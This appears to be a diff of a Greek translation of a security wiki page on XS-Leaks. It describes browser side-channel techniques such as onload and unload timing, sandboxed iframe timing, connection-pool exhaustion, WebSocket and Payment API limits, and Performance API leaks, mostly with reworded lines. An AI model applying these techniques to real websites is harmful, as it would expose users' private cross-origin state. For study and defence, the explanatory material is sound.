- **Παράδειγμα Κώδικα**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) άλλο παράδειγμα σε:
|
||||
|
||||
{{#ref}}
|
||||
@ -108,7 +108,7 @@ performance.now-+-force-heavy-task.md
|
||||
- **Μέθοδοι Συμπερίληψης**: Πλαίσια
|
||||
- **Ανιχνεύσιμη Διαφορά**: Χρόνος (γενικά λόγω Περιεχομένου Σελίδας, Κωδικός Κατάστασης)
|
||||
- **Περισσότερες πληροφορίες**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
||||
- **Σύνοψη:** Το ρολόι [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) μπορεί να χρησιμοποιηθεί για να μετρήσει πόσο χρόνο χρειάζεται για να εκτελέσει ένα αίτημα. Άλλα ρολόγια θα μπορούσαν να χρησιμοποιηθούν.
|
||||
- **Σύνοψη:** Ο [ρολόι SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) μπορεί να χρησιμοποιηθεί για να μετρήσει πόσο χρόνο χρειάζεται για να εκτελέσει ένα αίτημα. Άλλα ρολόγια θα μπορούσαν να χρησιμοποιηθούν.
|
||||
- **Παράδειγμα Κώδικα**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
||||
|
||||
Ο χρόνος που απαιτείται για να ανακτηθεί μια πηγή μπορεί να μετρηθεί χρησιμοποιώντας τα γεγονότα [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) και [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). Το γεγονός **`beforeunload`** ενεργοποιείται όταν ο περιηγητής πρόκειται να πλοηγηθεί σε μια νέα σελίδα, ενώ το γεγονός **`unload`** συμβαίνει όταν η πλοήγηση πραγματοποιείται πραγματικά. Η χρονική διαφορά μεταξύ αυτών των δύο γεγονότων μπορεί να υπολογιστεί για να προσδιορίσει τη **διάρκεια που πέρασε ο περιηγητής ανακτώντας την πηγή**.
|
||||
@ -121,7 +121,7 @@ performance.now-+-force-heavy-task.md
|
||||
- **Σύνοψη:** Η [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API μπορεί να χρησιμοποιηθεί για να μετρήσει πόσο χρόνο χρειάζεται για να εκτελέσει ένα αίτημα. Άλλα ρολόγια θα μπορούσαν να χρησιμοποιηθούν.
|
||||
- **Παράδειγμα Κώδικα**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
|
||||
|
||||
Έχει παρατηρηθεί ότι στην απουσία [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), ο χρόνος που απαιτείται για να φορτωθεί μια σελίδα και οι υποπηγές της μέσω του δικτύου μπορεί να μετρηθεί από έναν επιτιθέμενο. Αυτή η μέτρηση είναι συνήθως δυνατή επειδή ο χειριστής `onload` ενός iframe ενεργοποιείται μόνο μετά την ολοκλήρωση της φόρτωσης πόρων και της εκτέλεσης JavaScript. Για να παρακαμφθεί η μεταβλητότητα που εισάγεται από την εκτέλεση σεναρίων, ένας επιτιθέμενος μπορεί να χρησιμοποιήσει το χαρακτηριστικό [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) μέσα στο `<iframe>`. Η συμπερίληψη αυτού του χαρακτηριστικού περιορίζει πολλές λειτουργίες, ιδίως την εκτέλεση JavaScript, διευκολύνοντας έτσι μια μέτρηση που επηρεάζεται κυρίως από την απόδοση του δικτύου.
|
||||
Έχει παρατηρηθεί ότι στην απουσία [Προστασιών Πλαισίων](https://xsleaks.dev/docs/defenses/opt-in/xfo/), ο χρόνος που απαιτείται για να φορτωθεί μια σελίδα και οι υποπηγές της μέσω του δικτύου μπορεί να μετρηθεί από έναν επιτιθέμενο. Αυτή η μέτρηση είναι συνήθως δυνατή επειδή ο χειριστής `onload` ενός iframe ενεργοποιείται μόνο μετά την ολοκλήρωση της φόρτωσης πόρων και της εκτέλεσης JavaScript. Για να παρακαμφθεί η μεταβλητότητα που εισάγεται από την εκτέλεση σεναρίων, ένας επιτιθέμενος μπορεί να χρησιμοποιήσει το χαρακτηριστικό [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) μέσα στο `<iframe>`. Η συμπερίληψη αυτού του χαρακτηριστικού περιορίζει πολλές λειτουργίες, ιδίως την εκτέλεση JavaScript, διευκολύνοντας έτσι μια μέτρηση που επηρεάζεται κυρίως από την απόδοση του δικτύου.
|
||||
```javascript
|
||||
// Example of an iframe with the sandbox attribute
|
||||
<iframe src="example.html" sandbox></iframe>
|
||||
@ -131,7 +131,7 @@ performance.now-+-force-heavy-task.md
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Περιεχόμενο Σελίδας
|
||||
- **More info**:
|
||||
- **Summary**: Αν μπορείτε να προκαλέσετε σφάλμα στη σελίδα όταν προσπελαύνεται το σωστό περιεχόμενο και να την κάνετε να φορτώνει σωστά όταν προσπελαύνεται οποιοδήποτε περιεχόμενο, τότε μπορείτε να δημιουργήσετε έναν βρόχο για να εξάγετε όλες τις πληροφορίες χωρίς να μετράτε τον χρόνο.
|
||||
- **Summary**: Αν μπορείτε να προκαλέσετε σφάλμα στη σελίδα όταν προσπελάσετε το σωστό περιεχόμενο και να την κάνετε να φορτώσει σωστά όταν προσπελάσετε οποιοδήποτε περιεχόμενο, τότε μπορείτε να δημιουργήσετε έναν βρόχο για να εξάγετε όλες τις πληροφορίες χωρίς να μετρήσετε τον χρόνο.
|
||||
- **Code Example**:
|
||||
|
||||
Υποθέστε ότι μπορείτε να **εισάγετε** τη **σελίδα** που έχει το **μυστικό** περιεχόμενο **μέσα σε ένα Iframe**.
|
||||
@ -145,14 +145,14 @@ performance.now-+-force-heavy-task.md
|
||||
|
||||
Αν η πρώτη διεύθυνση URL **φορτώθηκε επιτυχώς**, τότε, όταν **αλλάξετε** το **hash** μέρος της διεύθυνσης URL, το **onload** event **δεν θα ενεργοποιηθεί** ξανά. Αλλά **αν** η σελίδα είχε κάποιο είδος **σφάλματος** κατά τη **φόρτωση**, τότε, το **onload** event θα **ενεργοποιηθεί ξανά**.
|
||||
|
||||
Στη συνέχεια, μπορείτε να **διακρίνετε μεταξύ** μιας **σωστά** φορτωμένης σελίδας ή μιας σελίδας που έχει ένα **σφάλμα** όταν προσπελαύνεται.
|
||||
Στη συνέχεια, μπορείτε να **διακρίνετε μεταξύ** μιας **σωστά** φορτωμένης σελίδας ή μιας σελίδας που έχει ένα **σφάλμα** όταν προσπελάζεται.
|
||||
|
||||
### Javascript Execution
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Περιεχόμενο Σελίδας
|
||||
- **More info**:
|
||||
- **Summary:** Αν η **σελίδα** **επιστρέφει** το **ευαίσθητο** περιεχόμενο, **ή** ένα **περιεχόμενο** που μπορεί να **ελεγχθεί** από τον χρήστη. Ο χρήστης θα μπορούσε να ορίσει **έγκυρο JS κώδικα στην αρνητική περίπτωση**, να **φορτώνει** κάθε προσπάθεια μέσα σε **`<script>`** ετικέτες, έτσι σε **αρνητικές** περιπτώσεις ο **κώδικας** των επιτιθεμένων **εκτελείται**, και σε **θετικές** περιπτώσεις **τίποτα** δεν θα εκτελείται.
|
||||
- **Summary:** Αν η **σελίδα** **επιστρέφει** το **ευαίσθητο** περιεχόμενο, **ή** ένα **περιεχόμενο** που μπορεί να **ελεγχθεί** από τον χρήστη. Ο χρήστης θα μπορούσε να ορίσει **έγκυρο JS κώδικα στην αρνητική περίπτωση**, να **φορτώνει** κάθε προσπάθεια μέσα σε **`<script>`** ετικέτες, έτσι σε **αρνητικές** περιπτώσεις ο **κώδικας** των επιτιθεμένων **εκτελείται,** και σε **θετικές** περιπτώσεις **τίποτα** δεν θα εκτελείται.
|
||||
- **Code Example:**
|
||||
|
||||
{{#ref}}
|
||||
@ -164,8 +164,8 @@ javascript-execution-xs-leak.md
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Detectable Difference**: Κωδικός Κατάστασης & Επικεφαλίδες
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
|
||||
- **Summary**: **Cross-Origin Read Blocking (CORB)** είναι ένα μέτρο ασφαλείας που αποτρέπει τις ιστοσελίδες από το να φορτώνουν ορισμένους ευαίσθητους πόρους από άλλες προελεύσεις για να προστατεύσουν από επιθέσεις όπως το **Spectre**. Ωστόσο, οι επιτιθέμενοι μπορούν να εκμεταλλευτούν τη προστατευτική συμπεριφορά του. Όταν μια απάντηση που υπόκειται σε **CORB** επιστρέφει έναν _**CORB protected**_ `Content-Type` με `nosniff` και έναν `2xx` κωδικό κατάστασης, το **CORB** αφαιρεί το σώμα και τις επικεφαλίδες της απάντησης. Οι επιτιθέμενοι που παρατηρούν αυτό μπορούν να συμπεράνουν τη συνδυασμένη **κατάσταση κωδικού** (που υποδεικνύει επιτυχία ή σφάλμα) και το `Content-Type` (που δηλώνει αν είναι προστατευμένο από **CORB**), οδηγώντας σε πιθανή διαρροή πληροφοριών.
|
||||
- **Code Example**:
|
||||
- **Summary**: **Cross-Origin Read Blocking (CORB)** είναι ένα μέτρο ασφαλείας που αποτρέπει τις ιστοσελίδες από το να φορτώνουν ορισμένους ευαίσθητους πόρους από άλλες προελεύσεις για να προστατεύσουν από επιθέσεις όπως το **Spectre**. Ωστόσο, οι επιτιθέμενοι μπορούν να εκμεταλλευτούν τη προστατευτική συμπεριφορά του. Όταν μια απάντηση που υπόκειται σε **CORB** επιστρέφει έναν _**CORB protected**_ `Content-Type` με `nosniff` και έναν `2xx` κωδικό κατάστασης, το **CORB** αφαιρεί το σώμα και τις επικεφαλίδες της απάντησης. Οι επιτιθέμενοι που παρατηρούν αυτό μπορούν να συμπεράνουν τη συνδυασμένη **κωδικό κατάστασης** (που υποδεικνύει επιτυχία ή σφάλμα) και το `Content-Type` (που δηλώνει αν είναι προστατευμένο από **CORB**), οδηγώντας σε πιθανή διαρροή πληροφοριών.
|
||||
- **Code Example:**
|
||||
|
||||
Ελέγξτε τον σύνδεσμο περισσότερων πληροφοριών για περισσότερες πληροφορίες σχετικά με την επίθεση.
|
||||
|
||||
@ -197,24 +197,24 @@ javascript-execution-xs-leak.md
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Detectable Difference**: Χρήση API
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||||
- **Summary**: Η εξάντληση του ορίου σύνδεσης WebSocket διαρρέει τον αριθμό των συνδέσεων WebSocket μιας σελίδας από άλλη προέλευση.
|
||||
- **Summary**: Η εξάντληση του ορίου σύνδεσης WebSocket διαρρέει τον αριθμό των συνδέσεων WebSocket μιας διασυνοριακής σελίδας.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
|
||||
|
||||
Είναι δυνατόν να προσδιορίσετε αν, και πόσες, **συνδέσεις WebSocket χρησιμοποιεί μια στοχευμένη σελίδα**. Αυτό επιτρέπει σε έναν επιτιθέμενο να ανιχνεύσει τις καταστάσεις εφαρμογής και να διαρρεύσει πληροφορίες που σχετίζονται με τον αριθμό των συνδέσεων WebSocket.
|
||||
|
||||
Αν μια **προέλευση** χρησιμοποιεί το **μέγιστο ποσό αντικειμένων σύνδεσης WebSocket**, ανεξάρτητα από την κατάσταση των συνδέσεών τους, η δημιουργία **νέων αντικειμένων θα έχει ως αποτέλεσμα εξαιρέσεις JavaScript**. Για να εκτελέσετε αυτήν την επίθεση, η ιστοσελίδα του επιτιθέμενου ανοίγει την στοχευμένη ιστοσελίδα σε ένα αναδυόμενο παράθυρο ή iframe και στη συνέχεια, αφού έχει φορτωθεί η στοχευμένη ιστοσελίδα, προσπαθεί να δημιουργήσει τον μέγιστο αριθμό συνδέσεων WebSocket που είναι δυνατές. Ο **αριθμός των ρίψεων εξαιρέσεων** είναι ο **αριθμός των συνδέσεων WebSocket που χρησιμοποιούνται από την στοχευμένη ιστοσελίδα**.
|
||||
Αν μια **προέλευση** χρησιμοποιεί το **μέγιστο ποσό αντικειμένων σύνδεσης WebSocket**, ανεξάρτητα από την κατάσταση των συνδέσεών τους, η δημιουργία **νέων αντικειμένων θα έχει ως αποτέλεσμα εξαιρέσεις JavaScript**. Για να εκτελέσετε αυτήν την επίθεση, η ιστοσελίδα του επιτιθέμενου ανοίγει την στοχευμένη ιστοσελίδα σε ένα αναδυόμενο παράθυρο ή iframe και στη συνέχεια, αφού έχει φορτωθεί η στοχευμένη ιστοσελίδα, προσπαθεί να δημιουργήσει τον μέγιστο αριθμό δυνατών συνδέσεων WebSocket. Ο **αριθμός των εκτιναγμένων εξαιρέσεων** είναι ο **αριθμός των συνδέσεων WebSocket που χρησιμοποιούνται από την στοχευμένη ιστοσελίδα**.
|
||||
|
||||
### Payment API
|
||||
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Detectable Difference**: Χρήση API
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||||
- **Summary**: Ανίχνευση αιτήματος πληρωμής επειδή μόνο ένα μπορεί να είναι ενεργό τη φορά.
|
||||
- **Summary**: Ανίχνευση Αιτήματος Πληρωμής επειδή μόνο ένα μπορεί να είναι ενεργό τη φορά.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
|
||||
|
||||
Αυτή η διαρροή XS επιτρέπει σε έναν επιτιθέμενο να **ανιχνεύσει πότε μια σελίδα από άλλη προέλευση ξεκινά ένα αίτημα πληρωμής**.
|
||||
Αυτή η διαρροή XS επιτρέπει σε έναν επιτιθέμενο να **ανιχνεύσει πότε μια διασυνοριακή σελίδα ξεκινά ένα αίτημα πληρωμής**.
|
||||
|
||||
Επειδή **μόνο ένα αίτημα πληρωμής μπορεί να είναι ενεργό** τη φορά, αν η στοχευμένη ιστοσελίδα χρησιμοποιεί το Payment Request API, οποιαδήποτε περαιτέρω προσπάθεια να χρησιμοποιήσει αυτό το API θα αποτύχει και θα προκαλέσει μια **εξαίρεση JavaScript**. Ο επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό προσπαθώντας **περιοδικά να εμφανίσει το UI του Payment API**. Αν μια προσπάθεια προκαλέσει μια εξαίρεση, η στοχευμένη ιστοσελίδα το χρησιμοποιεί αυτή τη στιγμή. Ο επιτιθέμενος μπορεί να κρύψει αυτές τις περιοδικές προσπάθειες κλείνοντας αμέσως το UI μετά τη δημιουργία του.
|
||||
Επειδή **μόνο ένα αίτημα πληρωμής μπορεί να είναι ενεργό** τη φορά, αν η στοχευμένη ιστοσελίδα χρησιμοποιεί το Payment Request API, οποιαδήποτε περαιτέρω προσπάθεια να χρησιμοποιήσει αυτό το API θα αποτύχει** και θα προκαλέσει μια **εξαίρεση JavaScript**. Ο επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό προσπαθώντας **περιοδικά να εμφανίσει το UI του Payment API**. Αν μια προσπάθεια προκαλέσει μια εξαίρεση, η στοχευμένη ιστοσελίδα το χρησιμοποιεί αυτή τη στιγμή. Ο επιτιθέμενος μπορεί να κρύψει αυτές τις περιοδικές προσπάθειες κλείνοντας αμέσως το UI μετά τη δημιουργία του.
|
||||
|
||||
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
|
||||
|
||||
@ -261,9 +261,9 @@ connection-pool-example.md
|
||||
Οι περιηγητές χρησιμοποιούν υποδοχές για την επικοινωνία με τον διακομιστή, αλλά λόγω των περιορισμένων πόρων του λειτουργικού συστήματος και του υλικού, **οι περιηγητές υποχρεούνται να επιβάλλουν ένα όριο** στον αριθμό των ταυτόχρονων υποδοχών. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτόν τον περιορισμό μέσω των εξής βημάτων:
|
||||
|
||||
1. Προσδιορίστε το όριο υποδοχών του περιηγητή, για παράδειγμα, 256 παγκόσμιες υποδοχές.
|
||||
2. Καταλάβετε 255 υποδοχές για παρατεταμένη διάρκεια ξεκινώντας 255 αιτήματα σε διάφορους διακομιστές, σχεδιασμένα να κρατούν τις συνδέσεις ανοιχτές χωρίς να ολοκληρώνονται.
|
||||
2. Καταλάβετε 255 υποδοχές για παρατεταμένη διάρκεια ξεκινώντας 255 αιτήματα σε διάφορους διακομιστές, σχεδιασμένα να διατηρούν τις συνδέσεις ανοιχτές χωρίς να ολοκληρώνονται.
|
||||
3. Χρησιμοποιήστε την 256η υποδοχή για να στείλετε ένα αίτημα στη στοχευμένη σελίδα.
|
||||
4. Προσπαθήστε να κάνετε ένα 257ο αίτημα σε διαφορετικό διακομιστή. Δεδομένου ότι όλες οι υποδοχές είναι σε χρήση (σύμφωνα με τα βήματα 2 και 3), αυτό το αίτημα θα μπει σε ουρά μέχρι να γίνει διαθέσιμη μια υποδοχή. Η καθυστέρηση πριν προχωρήσει αυτό το αίτημα παρέχει στον επιτιθέμενο πληροφορίες χρονισμού σχετικά με τη δικτυακή δραστηριότητα που σχετίζεται με την 256η υποδοχή (την υποδοχή της στοχευμένης σελίδας). Αυτή η συμπερασματική είναι δυνατή επειδή οι 255 υποδοχές από το βήμα 2 είναι ακόμα απασχολημένες, υποδηλώνοντας ότι οποιαδήποτε νέα διαθέσιμη υποδοχή πρέπει να είναι αυτή που απελευθερώθηκε από το βήμα 3. Ο χρόνος που χρειάζεται για να γίνει διαθέσιμη η 256η υποδοχή συνδέεται άμεσα με τον χρόνο που απαιτείται για να ολοκληρωθεί το αίτημα στη στοχευμένη σελίδα.
|
||||
4. Προσπαθήστε να κάνετε ένα 257ο αίτημα σε διαφορετικό διακομιστή. Δεδομένου ότι όλες οι υποδοχές είναι σε χρήση (σύμφωνα με τα βήματα 2 και 3), αυτό το αίτημα θα τεθεί σε ουρά μέχρι να γίνει διαθέσιμη μια υποδοχή. Η καθυστέρηση πριν από την εκτέλεση αυτού του αιτήματος παρέχει στον επιτιθέμενο πληροφορίες χρονισμού σχετικά με τη δικτυακή δραστηριότητα που σχετίζεται με την 256η υποδοχή (την υποδοχή της στοχευμένης σελίδας). Αυτή η συμπερασματική είναι δυνατή επειδή οι 255 υποδοχές από το βήμα 2 είναι ακόμα απασχολημένες, υποδηλώνοντας ότι οποιαδήποτε νέα διαθέσιμη υποδοχή πρέπει να είναι αυτή που απελευθερώθηκε από το βήμα 3. Ο χρόνος που χρειάζεται για να γίνει διαθέσιμη η 256η υποδοχή συνδέεται άμεσα με τον χρόνο που απαιτείται για να ολοκληρωθεί το αίτημα στη στοχευμένη σελίδα.
|
||||
|
||||
Για περισσότερες πληροφορίες: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
|
||||
@ -272,13 +272,13 @@ connection-pool-example.md
|
||||
- **Inclusion Methods**: JavaScript Requests
|
||||
- **Detectable Difference**: Χρονισμός (γενικά λόγω Περιεχομένου Σελίδας, Κωδικός Κατάστασης)
|
||||
- **More info**:
|
||||
- **Summary:** Είναι όπως η προηγούμενη τεχνική αλλά αντί να χρησιμοποιούμε όλες τις υποδοχές, το Google **Chrome** θέτει ένα όριο **6 ταυτόχρονων αιτημάτων στην ίδια προέλευση**. Αν **μπλοκάρουμε 5** και στη συνέχεια **εκκινήσουμε ένα 6ο** αίτημα μπορούμε να **χρονίσουμε** το και αν καταφέρουμε να κάνουμε τη **σελίδα θύμα να στείλει** περισσότερα **αιτήματα** στο ίδιο endpoint για να ανιχνεύσουμε μια **κατάσταση** της **σελίδας**, το **6ο αίτημα** θα χρειαστεί **περισσότερο** χρόνο και μπορούμε να το ανιχνεύσουμε.
|
||||
- **Summary:** Είναι όπως η προηγούμενη τεχνική αλλά αντί να χρησιμοποιούμε όλες τις υποδοχές, το Google **Chrome** θέτει ένα όριο **6 ταυτόχρονων αιτημάτων στην ίδια προέλευση**. Αν **μπλοκάρουμε 5** και στη συνέχεια **εκκινήσουμε ένα 6ο** αίτημα μπορούμε να **χρονίσουμε** το και αν καταφέραμε να κάνουμε τη **σελίδα θύμα να στείλει** περισσότερα **αιτήματα** στο ίδιο endpoint για να ανιχνεύσουμε μια **κατάσταση** της **σελίδας**, το **6ο αίτημα** θα χρειαστεί **περισσότερο** χρόνο και μπορούμε να το ανιχνεύσουμε.
|
||||
|
||||
## Performance API Techniques
|
||||
|
||||
Το [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) προσφέρει πληροφορίες σχετικά με τις μετρικές απόδοσης των διαδικτυακών εφαρμογών, εμπλουτισμένο περαιτέρω από το [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Το Resource Timing API επιτρέπει την παρακολούθηση λεπτομερών χρονισμών αιτημάτων δικτύου, όπως η διάρκεια των αιτημάτων. Σημαντικά, όταν οι διακομιστές περιλαμβάνουν την επικεφαλίδα `Timing-Allow-Origin: *` στις απαντήσεις τους, επιπλέον δεδομένα όπως το μέγεθος μεταφοράς και ο χρόνος αναζήτησης τομέα γίνονται διαθέσιμα.
|
||||
|
||||
Αυτή η πλούσια συλλογή δεδομένων μπορεί να ανακτηθεί μέσω μεθόδων όπως [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) ή [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), παρέχοντας μια ολοκληρωμένη εικόνα των πληροφοριών που σχετίζονται με την απόδοση. Επιπλέον, το API διευκολύνει τη μέτρηση χρόνων εκτέλεσης υπολογίζοντας τη διαφορά μεταξύ χρονοσημάνσεων που αποκτώνται από [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Ωστόσο, αξίζει να σημειωθεί ότι για ορισμένες λειτουργίες σε περιηγητές όπως το Chrome, η ακρίβεια του `performance.now()` μπορεί να περιορίζεται σε χιλιοστά του δευτερολέπτου, γεγονός που μπορεί να επηρεάσει την λεπτομέρεια των μετρήσεων χρονισμού.
|
||||
Αυτή η πλούσια συλλογή δεδομένων μπορεί να ανακτηθεί μέσω μεθόδων όπως [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) ή [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), παρέχοντας μια ολοκληρωμένη εικόνα των πληροφοριών που σχετίζονται με την απόδοση. Επιπλέον, το API διευκολύνει τη μέτρηση των χρόνων εκτέλεσης υπολογίζοντας τη διαφορά μεταξύ των χρονικών σημείων που αποκτώνται από [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Ωστόσο, αξίζει να σημειωθεί ότι για ορισμένες λειτουργίες σε περιηγητές όπως το Chrome, η ακρίβεια του `performance.now()` μπορεί να περιορίζεται σε χιλιοστά του δευτερολέπτου, γεγονός που μπορεί να επηρεάσει την λεπτομέρεια των μετρήσεων χρονισμού.
|
||||
|
||||
Πέρα από τις μετρήσεις χρονισμού, το Performance API μπορεί να αξιοποιηθεί για πληροφορίες που σχετίζονται με την ασφάλεια. Για παράδειγμα, η παρουσία ή η απουσία σελίδων στο αντικείμενο `performance` στο Chrome μπορεί να υποδηλώνει την εφαρμογή του `X-Frame-Options`. Συγκεκριμένα, αν μια σελίδα αποκλείεται από την απόδοση σε ένα πλαίσιο λόγω του `X-Frame-Options`, δεν θα καταγραφεί στο αντικείμενο `performance`, παρέχοντας μια λεπτή ένδειξη σχετικά με τις πολιτικές πλαισίωσης της σελίδας.
|
||||
|
||||
@ -317,10 +317,10 @@ connection-pool-example.md
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Περιεχόμενο Σελίδας
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Οι κενές απαντήσεις δεν δημιουργούν εισόδους χρονισμού πόρου.
|
||||
- **Summary:** Οι κενές απαντήσεις δεν δημιουργούν εισόδους χρονισμού πόρων.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
|
||||
|
||||
Ένας επιτιθέμενος μπορεί να ανιχνεύσει αν ένα αίτημα είχε ως αποτέλεσμα ένα κενό σώμα HTTP από το γεγονός ότι οι **κενές σελίδες δεν δημιουργούν μια είσοδο απόδοσης σε ορισμένους περιηγητές**.
|
||||
Ένας επιτιθέμενος μπορεί να ανιχνεύσει αν ένα αίτημα είχε ως αποτέλεσμα ένα κενό σώμα HTTP επειδή οι **κενές σελίδες δεν δημιουργούν μια είσοδο απόδοσης σε ορισμένους περιηγητές**.
|
||||
|
||||
### **XSS-Auditor Leak**
|
||||
|
||||
@ -330,7 +330,7 @@ connection-pool-example.md
|
||||
- **Summary:** Χρησιμοποιώντας τον XSS Auditor στις Ασφαλιστικές Δηλώσεις, οι επιτιθέμενοι μπορούν να ανιχνεύσουν συγκεκριμένα στοιχεία ιστοσελίδας παρατηρώντας τις αλλαγές στις απαντήσεις όταν οι κατασκευασμένες payloads ενεργοποιούν τον μηχανισμό φιλτραρίσματος του auditor.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
||||
|
||||
Στις Ασφαλιστικές Δηλώσεις (SA), ο XSS Auditor, αρχικά προορισμένος να αποτρέπει επιθέσεις Cross-Site Scripting (XSS), μπορεί παραδόξως να εκμεταλλευτεί για να διαρρεύσει ευαίσθητες πληροφορίες. Αν και αυτή η ενσωματωμένη λειτουργία αφαιρέθηκε από το Google Chrome (GC), είναι ακόμα παρούσα στο SA. Το 2013, οι Braun και Heiderich απέδειξαν ότι ο XSS Auditor θα μπορούσε ακούσια να αποκλείσει νόμιμα σενάρια, οδηγώντας σε ψευδώς θετικά. Βασισμένοι σε αυτό, οι ερευνητές ανέπτυξαν τεχνικές για την εξαγωγή πληροφοριών και την ανίχνευση συγκεκριμένου περιεχομένου σε σελίδες από άλλες προελεύσεις, μια έννοια γνωστή ως XS-Leaks, που αναφέρθηκε αρχικά από τους Terada και αναλύθηκε από τον Heyes σε μια ανάρτηση ιστολογίου. Αν και αυτές οι τεχνικές ήταν συγκεκριμένες για τον XSS Auditor στο GC, ανακαλύφθηκε ότι στο SA, οι σελίδες που αποκλείονται από τον XSS Auditor δεν δημιουργούν εισόδους στο Performance API, αποκαλύπτοντας μια μέθοδο μέσω της οποίας μπορεί να διαρρεύσει ευαίσθητη πληροφορία.
|
||||
Στις Ασφαλιστικές Δηλώσεις (SA), ο XSS Auditor, που αρχικά προοριζόταν να αποτρέψει επιθέσεις Cross-Site Scripting (XSS), μπορεί παραδόξως να εκμεταλλευτεί για να διαρρεύσει ευαίσθητες πληροφορίες. Αν και αυτή η ενσωματωμένη λειτουργία αφαιρέθηκε από το Google Chrome (GC), εξακολουθεί να είναι παρούσα στο SA. Το 2013, οι Braun και Heiderich απέδειξαν ότι ο XSS Auditor θα μπορούσε ακούσια να αποκλείσει νόμιμα σενάρια, οδηγώντας σε ψευδώς θετικά. Βασισμένοι σε αυτό, οι ερευνητές ανέπτυξαν τεχνικές για την εξαγωγή πληροφοριών και την ανίχνευση συγκεκριμένου περιεχομένου σε διασυνοριακές σελίδες, μια έννοια που ονομάζεται XS-Leaks, που αναφέρθηκε αρχικά από τον Terada και αναλύθηκε από τον Heyes σε μια ανάρτηση ιστολογίου. Αν και αυτές οι τεχνικές ήταν συγκεκριμένες για τον XSS Auditor στο GC, ανακαλύφθηκε ότι στο SA, οι σελίδες που αποκλείονται από τον XSS Auditor δεν δημιουργούν εισόδους στο Performance API, αποκαλύπτοντας μια μέθοδο μέσω της οποίας μπορεί να διαρρεύσουν ευαίσθητες πληροφορίες.
|
||||
|
||||
### X-Frame Leak
|
||||
|
||||
@ -351,7 +351,7 @@ connection-pool-example.md
|
||||
- **Summary:** Οι λήψεις δεν δημιουργούν εισόδους χρονισμού πόρων στο Performance API.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
|
||||
|
||||
Παρόμοια, με τη διαρροή XS που περιγράφεται, ένας **πόρος που κατεβάζεται** λόγω της επικεφαλίδας ContentDisposition, επίσης **δεν δημιουργεί μια είσοδο απόδοσης**. Αυτή η τεχνική λειτουργεί σε όλους τους κύριους περιηγητές.
|
||||
Παρόμοια, με τη διαρροή XS που περιγράφεται, ένας **πόρος που κατεβάζεται** λόγω της επικεφαλίδας ContentDisposition, επίσης δεν **δημιουργεί μια είσοδο απόδοσης**. Αυτή η τεχνική λειτουργεί σε όλους τους κύριους περιηγητές.
|
||||
|
||||
### Redirect Start Leak
|
||||
|
||||
@ -361,7 +361,7 @@ connection-pool-example.md
|
||||
